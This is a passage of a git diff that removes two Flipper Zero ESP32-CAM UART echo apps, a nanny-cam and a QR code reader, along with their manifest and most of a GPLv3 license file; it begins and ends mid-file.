- - if(new_string_needed) { - if((model->line + 1) < LINES_ON_SCREEN) { - model->line += 1; - } else { - ListElement* first = model->list[0]; - - for(size_t i = 1; i < LINES_ON_SCREEN; i++) { - model->list[i - 1] = model->list[i]; - } - - furi_string_reset(first->text); - model->list[model->line] = first; - } - } - - if(data != '\n' && data != '\r') { - furi_string_push_back(model->list[model->line]->text, data); - } - } - model->last_char = data; -} - -static int32_t uart_echo_worker(void* context) { - furi_assert(context); - UartEchoApp* app = context; - - while(1) { - uint32_t events = - furi_thread_flags_wait(WORKER_EVENTS_MASK, FuriFlagWaitAny, FuriWaitForever); - furi_check((events & FuriFlagError) == 0); - - if(events & WorkerEventStop) break; - if(events & WorkerEventRx) { - size_t length = 0; - do { - uint8_t data[64]; - length = furi_stream_buffer_receive(app->rx_stream, data, 64, 0); - if(length > 0 && app->initialized) { - furi_hal_uart_tx(FuriHalUartIdUSART1, data, length); - with_view_model( - app->view, - UartDumpModel * model, - { - for(size_t i = 0; i < length; i++) { - uart_echo_push_to_list(model, data[i]); - } - }, - false); - } - } while(length > 0); - - notification_message(app->notification, &sequence_notification); - with_view_model( - app->view, UartDumpModel * model, { UNUSED(model); }, true); - } - } - - return 0; -} - -static UartEchoApp* uart_echo_app_alloc() { - UartEchoApp* app = malloc(sizeof(UartEchoApp)); - - app->rx_stream = furi_stream_buffer_alloc(2048, 1); - - // Gui - app->gui = furi_record_open(RECORD_GUI); - app->notification = furi_record_open(RECORD_NOTIFICATION); - - // View dispatcher - app->view_dispatcher = view_dispatcher_alloc(); - view_dispatcher_enable_queue(app->view_dispatcher); - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - // Views - app->view = view_alloc(); - view_set_draw_callback(app->view, uart_echo_view_draw_callback); - view_set_input_callback(app->view, uart_echo_view_input_callback); - view_allocate_model(app->view, ViewModelTypeLocking, sizeof(UartDumpModel)); - with_view_model( - app->view, - UartDumpModel * model, - { - for(size_t i = 0; i < LINES_ON_SCREEN; i++) { - model->line = 0; - model->escape = false; - model->list[i] = malloc(sizeof(ListElement)); - model->list[i]->text = furi_string_alloc(); - } - }, - true); - - view_set_previous_callback(app->view, uart_echo_exit); - view_dispatcher_add_view(app->view_dispatcher, 0, app->view); - view_dispatcher_switch_to_view(app->view_dispatcher, 0); - - app->worker_thread = furi_thread_alloc_ex("UsbUartWorker", 1024, uart_echo_worker, app); - furi_thread_start(app->worker_thread); - - // Enable uart listener - furi_hal_console_disable(); - furi_hal_uart_set_br(FuriHalUartIdUSART1, 230400); - furi_hal_uart_set_irq_cb(FuriHalUartIdUSART1, uart_echo_on_irq_cb, app); - - furi_hal_power_disable_external_3_3v(); - furi_hal_power_disable_otg(); - furi_delay_ms(200); - furi_hal_power_enable_external_3_3v(); - furi_hal_power_enable_otg(); - for(int i = 0; i < 2; i++) { - furi_delay_ms(500); - furi_hal_uart_tx(FuriHalUartIdUSART1, (uint8_t[1]){'n'}, 1); - } - furi_delay_ms(1); - app->initialized = true; - return app; -} - -static void uart_echo_app_free(UartEchoApp* app) { - furi_assert(app); - - furi_hal_console_enable(); // this will also clear IRQ callback so thread is no longer referenced - - furi_thread_flags_set(furi_thread_get_id(app->worker_thread), WorkerEventStop); - furi_thread_join(app->worker_thread); - furi_thread_free(app->worker_thread); - - // Free views - view_dispatcher_remove_view(app->view_dispatcher, 0); - - with_view_model( - app->view, - UartDumpModel * model, - { - for(size_t i = 0; i < LINES_ON_SCREEN; i++) { - furi_string_free(model->list[i]->text); - free(model->list[i]); - } - }, - true); - view_free(app->view); - view_dispatcher_free(app->view_dispatcher); - - // Close gui record - furi_record_close(RECORD_GUI); - furi_record_close(RECORD_NOTIFICATION); - app->gui = NULL; - - furi_stream_buffer_free(app->rx_stream); - - // Free rest - free(app); -} - -int32_t uart_echo_app(void* p) { - UNUSED(p); - UartEchoApp* app = uart_echo_app_alloc(); - view_dispatcher_run(app->view_dispatcher); - uart_echo_app_free(app); - furi_hal_power_disable_otg(); - return 0; -} diff --git a/applications/external/esp32cam_nannycam/uart_echo.h b/applications/external/esp32cam_nannycam/uart_echo.h deleted file mode 100644 index 98eefd090..000000000 --- a/applications/external/esp32cam_nannycam/uart_echo.h +++ /dev/null @@ -1,52 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#define LINES_ON_SCREEN 6 -#define COLUMNS_ON_SCREEN 21 - -typedef struct UartDumpModel UartDumpModel; - -typedef struct { - Gui* gui; - NotificationApp* notification; - ViewDispatcher* view_dispatcher; - View* view; - FuriThread* worker_thread; - FuriStreamBuffer* rx_stream; - bool initialized; -} UartEchoApp; - -typedef struct { - FuriString* text; -} ListElement; - -struct UartDumpModel { - ListElement* list[LINES_ON_SCREEN]; - uint8_t line; - - char last_char; - bool escape; -}; - -typedef enum { - WorkerEventReserved = (1 << 0), // Reserved for StreamBuffer internal event - WorkerEventStop = (1 << 1), - WorkerEventRx = (1 << 2), -} WorkerEventFlags; - -#define WORKER_EVENTS_MASK (WorkerEventStop | WorkerEventRx) - -const NotificationSequence sequence_notification = { - &message_display_backlight_on, - &message_green_255, - &message_delay_10, - NULL, -}; diff --git a/applications/external/esp32cam_qrcode/application.fam b/applications/external/esp32cam_qrcode/application.fam deleted file mode 100644 index b96942e9e..000000000 --- a/applications/external/esp32cam_qrcode/application.fam +++ /dev/null @@ -1,14 +0,0 @@ -App( - appid="mayhem_qrcode", - name="[MAYHEM] QR Code", - apptype=FlipperAppType.EXTERNAL, - entry_point="uart_echo_app", - cdefines=["APP_QRCODE"], - requires=["gui"], - stack_size=8 * 1024, - fap_icon="icon.png", - fap_category="GPIO", - fap_description="ESP32-CAM simple app to show a payload from QR codes. Can be extended to trigger more stuff in the code. [Unplug the USB cable to test with Mayhem]", - fap_author="eried", - fap_weburl="https://flipper.ried.cl", -) diff --git a/applications/external/esp32cam_qrcode/icon.png b/applications/external/esp32cam_qrcode/icon.png deleted file mode 100644 index 23d614cab..000000000 Binary files a/applications/external/esp32cam_qrcode/icon.png and /dev/null differ diff --git a/applications/external/esp32cam_qrcode/uart_echo.c b/applications/external/esp32cam_qrcode/uart_echo.c deleted file mode 100644 index 46035ae19..000000000 --- a/applications/external/esp32cam_qrcode/uart_echo.c +++ /dev/null @@ -1,234 +0,0 @@ -#include "uart_echo.h" - -static void uart_echo_view_draw_callback(Canvas* canvas, void* _model) { - UartDumpModel* model = _model; - - // Prepare canvas - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - canvas_set_font(canvas, FontKeyboard); - - for(size_t i = 0; i < LINES_ON_SCREEN; i++) { - canvas_draw_str( - canvas, - 0, - (i + 1) * (canvas_current_font_height(canvas) - 1), - furi_string_get_cstr(model->list[i]->text)); - - if(i == model->line) { - uint8_t width = - canvas_string_width(canvas, furi_string_get_cstr(model->list[i]->text)); - - canvas_draw_box( - canvas, - width, - (i) * (canvas_current_font_height(canvas) - 1) + 2, - 2, - canvas_current_font_height(canvas) - 2); - } - } -} - -static bool uart_echo_view_input_callback(InputEvent* event, void* context) { - UNUSED(event); - UNUSED(context); - return false; -} - -static uint32_t uart_echo_exit(void* context) { - UNUSED(context); - return VIEW_NONE; -} - -static void uart_echo_on_irq_cb(UartIrqEvent ev, uint8_t data, void* context) { - furi_assert(context); - UartEchoApp* app = context; - - if(ev == UartIrqEventRXNE) { - furi_stream_buffer_send(app->rx_stream, &data, 1, 0); - furi_thread_flags_set(furi_thread_get_id(app->worker_thread), WorkerEventRx); - } -} - -static void uart_echo_push_to_list(UartDumpModel* model, const char data) { - if(model->escape) { - // escape code end with letter - if((data >= 'a' && data <= 'z') || (data >= 'A' && data <= 'Z')) { - model->escape = false; - } - } else if(data == '[' && model->last_char == '\e') { - // "Esc[" is a escape code - model->escape = true; - } else if((data >= ' ' && data <= '~') || (data == '\n' || data == '\r')) { - bool new_string_needed = false; - if(furi_string_size(model->list[model->line]->text) >= COLUMNS_ON_SCREEN) { - new_string_needed = true; - } else if((data == '\n' || data == '\r')) { - // pack line breaks - if(model->last_char != '\n' && model->last_char != '\r') { - new_string_needed = true; - } - } - - if(new_string_needed) { - if((model->line + 1) < LINES_ON_SCREEN) { - model->line += 1; - } else { - ListElement* first = model->list[0]; - - for(size_t i = 1; i < LINES_ON_SCREEN; i++) { - model->list[i - 1] = model->list[i]; - } - - furi_string_reset(first->text); - model->list[model->line] = first; - } - } - - if(data != '\n' && data != '\r') { - furi_string_push_back(model->list[model->line]->text, data); - } - } - model->last_char = data; -} - -static int32_t uart_echo_worker(void* context) { - furi_assert(context); - UartEchoApp* app = context; - - while(1) { - uint32_t events = - furi_thread_flags_wait(WORKER_EVENTS_MASK, FuriFlagWaitAny, FuriWaitForever); - furi_check((events & FuriFlagError) == 0); - - if(events & WorkerEventStop) break; - if(events & WorkerEventRx) { - size_t length = 0; - do { - uint8_t data[64]; - length = furi_stream_buffer_receive(app->rx_stream, data, 64, 0); - if(length > 0 && app->initialized) { - furi_hal_uart_tx(FuriHalUartIdUSART1, data, length); - with_view_model( - app->view, - UartDumpModel * model, - { - for(size_t i = 0; i < length; i++) { - uart_echo_push_to_list(model, data[i]); - } - }, - false); - } - } while(length > 0); - - notification_message(app->notification, &sequence_notification); - with_view_model( - app->view, UartDumpModel * model, { UNUSED(model); }, true); - } - } - - return 0; -} - -static UartEchoApp* uart_echo_app_alloc() { - UartEchoApp* app = malloc(sizeof(UartEchoApp)); - - app->rx_stream = furi_stream_buffer_alloc(2048, 1); - - // Gui - app->gui = furi_record_open(RECORD_GUI); - app->notification = furi_record_open(RECORD_NOTIFICATION); - - // View dispatcher - app->view_dispatcher = view_dispatcher_alloc(); - view_dispatcher_enable_queue(app->view_dispatcher); - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - // Views - app->view = view_alloc(); - view_set_draw_callback(app->view, uart_echo_view_draw_callback); - view_set_input_callback(app->view, uart_echo_view_input_callback); - view_allocate_model(app->view, ViewModelTypeLocking, sizeof(UartDumpModel)); - with_view_model( - app->view, - UartDumpModel * model, - { - for(size_t i = 0; i < LINES_ON_SCREEN; i++) { - model->line = 0; - model->escape = false; - model->list[i] = malloc(sizeof(ListElement)); - model->list[i]->text = furi_string_alloc(); - } - }, - true); - - view_set_previous_callback(app->view, uart_echo_exit); - view_dispatcher_add_view(app->view_dispatcher, 0, app->view); - view_dispatcher_switch_to_view(app->view_dispatcher, 0); - - app->worker_thread = furi_thread_alloc_ex("UsbUartWorker", 1024, uart_echo_worker, app); - furi_thread_start(app->worker_thread); - - // Enable uart listener - furi_hal_console_disable(); - furi_hal_uart_set_br(FuriHalUartIdUSART1, 230400); - furi_hal_uart_set_irq_cb(FuriHalUartIdUSART1, uart_echo_on_irq_cb, app); - - furi_hal_power_disable_external_3_3v(); - furi_hal_power_disable_otg(); - furi_delay_ms(200); - furi_hal_power_enable_external_3_3v(); - furi_hal_power_enable_otg(); - for(int i = 0; i < 2; i++) { - furi_delay_ms(500); - furi_hal_uart_tx(FuriHalUartIdUSART1, (uint8_t[1]){'q'}, 1); - } - furi_delay_ms(1); - app->initialized = true; - return app; -} - -static void uart_echo_app_free(UartEchoApp* app) { - furi_assert(app); - - furi_hal_console_enable(); // this will also clear IRQ callback so thread is no longer referenced - - furi_thread_flags_set(furi_thread_get_id(app->worker_thread), WorkerEventStop); - furi_thread_join(app->worker_thread); - furi_thread_free(app->worker_thread); - - // Free views - view_dispatcher_remove_view(app->view_dispatcher, 0); - - with_view_model( - app->view, - UartDumpModel * model, - { - for(size_t i = 0; i < LINES_ON_SCREEN; i++) { - furi_string_free(model->list[i]->text); - free(model->list[i]); - } - }, - true); - view_free(app->view); - view_dispatcher_free(app->view_dispatcher); - - // Close gui record - furi_record_close(RECORD_GUI); - furi_record_close(RECORD_NOTIFICATION); - app->gui = NULL; - - furi_stream_buffer_free(app->rx_stream); - - // Free rest - free(app); -} - -int32_t uart_echo_app(void* p) { - UNUSED(p); - UartEchoApp* app = uart_echo_app_alloc(); - view_dispatcher_run(app->view_dispatcher); - uart_echo_app_free(app); - furi_hal_power_disable_otg(); - return 0; -} diff --git a/applications/external/esp32cam_qrcode/uart_echo.h b/applications/external/esp32cam_qrcode/uart_echo.h deleted file mode 100644 index 98eefd090..000000000 --- a/applications/external/esp32cam_qrcode/uart_echo.h +++ /dev/null @@ -1,52 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#define LINES_ON_SCREEN 6 -#define COLUMNS_ON_SCREEN 21 - -typedef struct UartDumpModel UartDumpModel; - -typedef struct { - Gui* gui; - NotificationApp* notification; - ViewDispatcher* view_dispatcher; - View* view; - FuriThread* worker_thread; - FuriStreamBuffer* rx_stream; - bool initialized; -} UartEchoApp; - -typedef struct { - FuriString* text; -} ListElement; - -struct UartDumpModel { - ListElement* list[LINES_ON_SCREEN]; - uint8_t line; - - char last_char; - bool escape; -}; - -typedef enum { - WorkerEventReserved = (1 << 0), // Reserved for StreamBuffer internal event - WorkerEventStop = (1 << 1), - WorkerEventRx = (1 << 2), -} WorkerEventFlags; - -#define WORKER_EVENTS_MASK (WorkerEventStop | WorkerEventRx) - -const NotificationSequence sequence_notification = { - &message_display_backlight_on, - &message_green_255, - &message_delay_10, - NULL, -}; diff --git a/applications/external/esp_flasher/LICENSE b/applications/external/esp_flasher/LICENSE deleted file mode 100644 index f288702d2..000000000 --- a/applications/external/esp_flasher/LICENSE +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under 